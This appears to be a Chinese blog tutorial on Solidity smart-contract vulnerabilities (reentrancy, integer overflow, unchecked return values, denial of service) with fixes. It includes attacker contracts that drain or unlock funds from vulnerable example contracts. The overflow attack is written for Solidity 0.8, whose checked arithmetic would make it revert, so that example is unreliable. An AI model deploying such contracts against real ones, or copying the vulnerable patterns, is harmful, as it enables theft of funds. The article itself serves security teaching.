智能合约 -- 常规漏洞分析 + 实例

news2024/10/3 6:36:00

 1.重入攻击

漏洞分析

攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行无限取钱。

刚才试了一下可以递归10次,貌似就结束了。

直接看代码:

  • 银行合约:有存钱、取钱、查看账户余额等函数。
  • 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。

分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract Bank {
    mapping (address => uint) public balances; // 账户 => 余额

    // 存钱函数
    function desposit() public payable { 
        require(msg.value >0, "save money cannot be zero");
        balances[msg.sender] += msg.value;
    }

    // 取钱函数
    function withdraw() public{
        require(balances[msg.sender] >0,"balance is not exists");
        (bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
         balances[msg.sender] = 0; // 置0 操作
    }

    // 查看账户余额
    function getBalance() public view  returns(uint){
        return balances[msg.sender];
    }

}

contract Attack {

    Bank public bank;

    constructor( address _bankAddress){
        bank = Bank(_bankAddress);
    }

    // 攻击函数
    function attack() public payable {
        bank.desposit{value:msg.value}();
        bank.withdraw();
    }


    receive() external payable {
        if(address(bank).balance >0){ //如果银行合约还有钱持续调用
            bank.withdraw();
        }
    }
}

漏洞解决

1. 采用更为安全的转账函数

原理:函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas,从而报错进行合约状态回滚。

<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。

2.互斥锁

原理: 第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。

3. 先将账户余额置0,再转账

原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)

2.整形溢出

漏洞分析

算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在

计算机领域里所发生的。运行单项数值计算时,当计算产生出来的

结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为

算术上溢。反之,称为算术下溢。

我的理解:输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。

举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?

我们可以把 0 - 5看成一个圈,  A的最小值是0, 那么 -1 就是5,  那么-3 就是3;

3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    // 存钱并且冻结账户一周
    function deposit() public  payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加冻结时间
    function addLcokTime(uint _time) public {
        lockTime[msg.sender] += _time;
    }

   // 取钱
    function withdraw() public {
        require(balances[msg.sender] > 0, "balance cannot be zrro");
        require(block.timestamp > lockTime[msg.sender] , " account is still frozen");
        uint _value = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool success,) = msg.sender.call{value:_value}("");
        
    }

}

contract Attack{
      receive() external payable {}

      TimeLock public timelock;

      constructor(address _timelock) {
          timelock = TimeLock(_timelock);
      }

      function attack() public payable {
          timelock.deposit();
          timelock.addLcokTime(
              type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0.  6 -6 =0 
          );
           timelock.withdraw();
      }
}

漏洞解决

其实引入SafaMath库.参考这篇博客,其实原理很简单。

solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客

我们把TimeLock 合约修改如下:

我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。

 contract TimnLock {
    ......
    function sum(uint a, uint b) public pure returns(uint){
        uint c = a + b;
        require(c >=a && c >= b, "overflow is trigger!");
        return c;
    }
......

}

3. 未检查返回值

漏洞分析

在soldity中,像send、call、callcodedelegatecallstaticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。

看下面代码:

我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。

假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。

我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。

contract Lotto{
    bool public payedOut = false;
    address public winner; // 获胜者
    uint private  winAmount  = 10000; // 获胜金额
   

    // 2.向获胜者发送奖金
   function sendTowinner(address _addr) public {
       require(!payedOut);
       winner = _addr;
       payable(winner).send(winAmount);
       payedOut = true; 
   }

    // 3. 向外进公开获胜者的金额数量
    function getWinAmount() public  view returns(uint){
        require(payedOut);
        return winAmount;
    }

   // 1.赞助商赞助奖金
   function desposit() public payable {
       winAmount = msg.value;
   }

  
}

漏洞解决

   // 向获胜者发送奖金
   function sendTowinner(address _addr) public {
       require(!payedOut);
       winner = _addr;
       bool success =  payable(winner).send(winAmount); 
        // payable(winner).transfer(winAmount); ,失败直接会报错
       require(success,"send falied");
       payedOut = true; 
   }

4.拒绝服务

我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。

举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。

1.在外部操控映射或者数组循环

这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{
    uint public amount;
    address public owner;
    address[] public investors; // 投资者数组
    uint[] public investorTokens; // 每个投资者的token
    uint currentIndex; 
    event Transfer(address _from, uint _amount); // 转让代币触发的事件
    constructor(){
        owner = msg.sender;
    }
    
    // 投资者调用,记录每个投资者的地址,和应该分发的代币
    function invest() public payable {
        investors.push(msg.sender);
        investorTokens.push(msg.value *5);
    }

   // 首次代币分发
    function distribute() public {
        require(msg.sender == owner);
        for (uint i =0;i < investors.length && gasleft() > 30000; i++) {
           transferToken(investors[i],investorTokens[i]);
           currentIndex = i;
        }
    }


    function transferToken(address _from,uint _amount) public {
         // 在这里执行代币转移操作,将代币从合约地址转移到投资者地址
        amount += _amount; // 记录总代币
        emit Transfer(_from,_amount);
    }

}

在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。

解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。

上面代码修改:

通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。

 2.所有者操作

在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。

ICO 结束后,如果特权用户丢失,其私钥可能会变为非活动状

态,此时,无法调用 finalize() 函数开启交易,那么用户就一直不能发送代

币,合约也就不能进行正常操作了。

解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/864754.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ECG和PPG信号用于PTT、HRV和PRV研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

微信朋友圈置顶功能已大范围上线!

微信是目前全球最受欢迎的社交媒体应用之一&#xff0c;拥有数十亿的用户。作为一款持续发展和改进的应用&#xff0c;微信不断推出新的功能来提升用户体验。 近日&#xff0c;iOS微信8.0.41内测版迎来了更新&#xff0c;本次更新距离上个正式版间隔了大概10天的时间。 微信朋友…

BI技巧丨利用Index计算半累计

在实际的业务场景中&#xff0c;特别是财务模块和库存管理模块&#xff0c;经常需要我们针对每个月的期初期末进行相关指标计算&#xff0c;这也是我们之前曾经提到的Calculate基础应用——半累计计算。 现在我们也可以通过微软新推出的Index开窗函数来解决这一问题。 INDEX函…

健启星|医学营养的市场先行者

随着《“健康中国2030”规划纲要》、《国民营养计划&#xff08;2017-2030年&#xff09;》等政策的陆续发布&#xff0c;标志着以传统药物治疗为中心的医疗模式时代正式转型到以预防和康复为中心的新的医学营养时代。在此背景下&#xff0c;符合时代需求的特医食品成为“医学营…

HbuildX生成安卓签名证书

HbuildX生成安卓签名证书 安装和配置JRE环境 根据此链接安装和配置JRE环境 生成签名证书 keytool -genkey -alias testalias -keyalg RSA -keysize 2048 -validity 36500 -keystore test.keystoretestalias是证书别名&#xff0c;可修改为自己想设置的字符&#xff0c;建议…

闻道网络:2023宠物消费网络营销洞察数据报告(附下载)

关于报告的所有内容&#xff0c;公众【营销人星球】获取下载查看 核心观点 行业持续升级&#xff0c;增速放缓&#xff0c;正朝着多元化和专业化的方向发展&#xff1b;自公共事件以来&#xff0c;因&#xff0c;“猫不用遛”&#xff0c;养猫人士增速迅猛反超犬主人&#xf…

Qt在mac安装

先在app store下载好Xcode 打开Xcode 随便建个文件 给它取个名字 找个地方放 提醒没建立git link,不用理他 打开终端&#xff0c; 输入/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 开始安装啦 继续在终端…

MySQL中的用户管理

系列文章目录 MySQL常见的几种约束 MySQL中的函数 MySQL中的事务 MySQL中的视图 MySQL中的索引 文章目录 系列文章目录前言一、用户管理1、用户管理入门2、用户管理操作及示例 二、权限管理1.权限管理语法2.权限操作示例 三、角色管理1、角色管理入门2、角色操作示例 总结…

Chisel 语言 - 小记

文章目录 Chisel 一种硬件描述语言&#xff0c;类似 verilog 本质是 Scala编程语言的一个包&#xff0c;类似于 numpy 是 Python 的一个包。 官网 &#xff1a; https://www.chisel-lang.orggithub&#xff1a; https://github.com/chipsalliance/chisel 同名的还有个 Facebook…

【数学建模】--灰色关联分析

系统分析: 一般的抽象系统&#xff0c;如社会系统&#xff0c;经济系统&#xff0c;农业系统&#xff0c;生态系统&#xff0c;教育系统等都包含有许多种因素&#xff0c;多种因素共同作用的结果决定了该系统的发展态势。人们常常希望知道在众多的因素中&#xff0c;哪些是主要…

每天一道leetcode:516. 最长回文子序列(动态规划中等)

今日份题目&#xff1a; 给你一个字符串 s &#xff0c;找出其中最长的回文子序列&#xff0c;并返回该序列的长度。 子序列定义为&#xff1a;不改变剩余字符顺序的情况下&#xff0c;删除某些字符或者不删除任何字符形成的一个序列。 示例1 输入&#xff1a;s "bbb…

Nginx环境搭建以及Docker环境部署

目录 Nginx环境搭建 1.首先创建Nginx的目录并进入 2.下载Nginx的安装包 可以通过FTP工具上传离线环境包&#xff0c;也可通过wget命令在线获取安装包 没有wget命令的可通过yum命令安装 3.解压Nginx的压缩包 4.下载并安装Nginx所需的依赖库和包 安装方式一 安装方式二 --- 也…

hello world, this is my time

case1 2023-08-11 00:19:12 其实我这个人吧, 没事做也会刷点b站和抖音, 而且我经常看罗翔老师讲, 什么是爱, 他说爱是责任, 爱是不离不弃, 爱是有耐心, 爱是安慰, 爱也是陪伴, 爱同时也是一种共生的关系, 两个人彼此之间共生, 互相都希望彼此可以好好的生活下去, 看见对方活的比…

Git全栈体系(六)

第十章 自建代码托管平台-GitLab 一、GitLab 简介 GitLab 是由 GitLabInc.开发&#xff0c;使用 MIT 许可证的基于网络的 Git 仓库管理工具&#xff0c;且具有 wiki 和 issue 跟踪功能。使用 Git 作为代码管理工具&#xff0c;并在此基础上搭建起来的 web 服务。GitLab 由乌克…

红帽停止公开Linux操作系统(RHEL)源代码,甲骨文等企业成立协会

根据报道&#xff0c;红帽&#xff08;Red Hat&#xff09;在8月11日宣布停止公开企业级Linux操作系统&#xff08;RHEL&#xff09;的源代码后&#xff0c;甲骨文、SUSE和CIQ昨日联合发布了一份声明。声明宣布成立了Open Enterprise Linux Association&#xff08;OpenELA&…

安全测试中常见的业务安全问题

“在测试过程中&#xff0c;特殊的操作往往容易触发异常场景&#xff0c;而这些异常场景也很容易引起安全问题&#xff01;” 常见的安全漏洞就不多说了&#xff0c;这里主要介绍常见的业务安全问题及修复建议。 01 刷短信 问题描述&#xff1a; 当发送短信的请求接口只需要…

用最少数量的箭引爆气球——力扣452

文章目录 题目描述解法一题目描述 解法一 int findMinArrowShots(vector<vector<int>>& nums){if(num

什么,你说你不会通过jdbc一次性创建10个数据库???

小朋友你是否有很多问号&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f;&#xff1f; 1、在资源文件中建一个文件&#xff0c;填入连接数据库的基本信息。 2、通过反射拿到资源文件。…

LeetCode150道面试经典题--判断子序列(简单)

1.题目 给定字符串 s 和 t &#xff0c;判断 s 是否为 t 的子序列。 字符串的一个子序列是原始字符串删除一些&#xff08;也可以不删除&#xff09;字符而不改变剩余字符相对位置形成的新字符串。&#xff08;例如&#xff0c;"ace"是"abcde"的一个子序…

leetcode19. 删除链表的倒数第 N 个结点

题目&#xff1a;leetcode19. 删除链表的倒数第 N 个结点 描述&#xff1a; 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 思路&#xff1a; 让前面的节点比后面的节点先走n1步&#xff0c;因为从链表的尾节点的下一个节点开始&…